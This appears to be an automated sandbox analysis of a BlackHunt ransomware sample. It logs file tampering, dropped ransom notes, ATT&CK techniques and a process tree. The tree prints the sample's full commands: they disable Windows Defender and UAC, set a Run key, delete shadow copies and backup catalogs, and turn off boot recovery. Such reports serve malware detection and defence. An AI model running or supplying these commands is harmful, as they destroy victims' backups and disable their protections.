File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\.lastModified	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.txt	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\about.html	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_partstyle.css	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-compat.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_ja.properties	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-previous-static.png	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-outline.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-awt.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Samara	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.txt	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\Java\jre7\lib\zi\Indian\#BlackHunt_ReadMe.hta	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\charsets.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files (x86)\Google\Update\Install\{1187FFC4-7B4C-4060-83CA-88C53EC9AD16}\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Blanc-Sablon	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Irkutsk	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_ReadMe.hta	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_de.properties	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-9	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Paris	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_ja.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-impl.xml	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_zh_CN.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\dnsns.jar	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Pangnirtung	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Kerguelen	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_Private.key	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2452	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1668	vssadmin.exe
920	vssadmin.exe
2356	vssadmin.exe
1940	vssadmin.exe
800	vssadmin.exe
2384	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2632	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2548	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
872	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeRestorePrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeBackupPrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeTakeOwnershipPrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeAuditPrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeSecurityPrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeIncBasePriorityPrivilege	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Token: SeBackupPrivilege	700	vssvc.exe
Token: SeRestorePrivilege	700	vssvc.exe
Token: SeAuditPrivilege	700	vssvc.exe
Token: SeBackupPrivilege	2720	wbengine.exe
Token: SeRestorePrivilege	2720	wbengine.exe
Token: SeSecurityPrivilege	2720	wbengine.exe
Token: SeSecurityPrivilege	920	wevtutil.exe
Token: SeSecurityPrivilege	2792	wevtutil.exe
Token: SeBackupPrivilege	920	wevtutil.exe
Token: SeBackupPrivilege	2792	wevtutil.exe
Token: SeSecurityPrivilege	224	wevtutil.exe
Token: SeSecurityPrivilege	1784	wevtutil.exe
Token: SeBackupPrivilege	224	wevtutil.exe
Token: SeBackupPrivilege	1784	wevtutil.exe
Token: SeSecurityPrivilege	3024	wevtutil.exe
Token: SeBackupPrivilege	3024	wevtutil.exe
Token: SeDebugPrivilege	2632	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 1100	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	29
PID 2156 wrote to memory of 1100	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	29
PID 2156 wrote to memory of 1100	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	29
PID 2156 wrote to memory of 1100	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	29
PID 2156 wrote to memory of 2572	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	31
PID 2156 wrote to memory of 2572	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	31
PID 2156 wrote to memory of 2572	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	31
PID 2156 wrote to memory of 2572	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	31
PID 2156 wrote to memory of 2588	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	33
PID 2156 wrote to memory of 2588	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	33
PID 2156 wrote to memory of 2588	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	33
PID 2156 wrote to memory of 2588	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	33
PID 2156 wrote to memory of 2664	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	35
PID 2156 wrote to memory of 2664	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	35
PID 2156 wrote to memory of 2664	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	35
PID 2156 wrote to memory of 2664	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	35
PID 1100 wrote to memory of 2676	1100	cmd.exe	39
PID 1100 wrote to memory of 2676	1100	cmd.exe	39
PID 1100 wrote to memory of 2676	1100	cmd.exe	39
PID 2156 wrote to memory of 2708	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	37
PID 2156 wrote to memory of 2708	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	37
PID 2156 wrote to memory of 2708	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	37
PID 2156 wrote to memory of 2708	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	37
PID 2156 wrote to memory of 2604	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	41
PID 2156 wrote to memory of 2604	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	41
PID 2156 wrote to memory of 2604	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	41
PID 2156 wrote to memory of 2604	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	41
PID 2156 wrote to memory of 2304	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	52
PID 2156 wrote to memory of 2304	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	52
PID 2156 wrote to memory of 2304	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	52
PID 2156 wrote to memory of 2304	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	52
PID 2572 wrote to memory of 2736	2572	cmd.exe	42
PID 2572 wrote to memory of 2736	2572	cmd.exe	42
PID 2572 wrote to memory of 2736	2572	cmd.exe	42
PID 2588 wrote to memory of 2596	2588	cmd.exe	43
PID 2588 wrote to memory of 2596	2588	cmd.exe	43
PID 2588 wrote to memory of 2596	2588	cmd.exe	43
PID 2156 wrote to memory of 868	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	50
PID 2156 wrote to memory of 868	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	50
PID 2156 wrote to memory of 868	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	50
PID 2156 wrote to memory of 868	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	50
PID 2156 wrote to memory of 2716	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	45
PID 2156 wrote to memory of 2716	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	45
PID 2156 wrote to memory of 2716	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	45
PID 2156 wrote to memory of 2716	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	45
PID 2156 wrote to memory of 1668	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	92
PID 2156 wrote to memory of 1668	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	92
PID 2156 wrote to memory of 1668	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	92
PID 2156 wrote to memory of 1668	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	92
PID 2156 wrote to memory of 2644	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	51
PID 2156 wrote to memory of 2644	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	51
PID 2156 wrote to memory of 2644	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	51
PID 2156 wrote to memory of 2644	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	51
PID 2156 wrote to memory of 1956	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	53
PID 2156 wrote to memory of 1956	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	53
PID 2156 wrote to memory of 1956	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	53
PID 2156 wrote to memory of 1956	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	53
PID 2156 wrote to memory of 2488	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	148
PID 2156 wrote to memory of 2488	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	148
PID 2156 wrote to memory of 2488	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	148
PID 2156 wrote to memory of 2488	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	148
PID 2156 wrote to memory of 2556	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	147
PID 2156 wrote to memory of 2556	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	147
PID 2156 wrote to memory of 2556	2156	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe	147

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
"C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2892
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1512
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1244
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
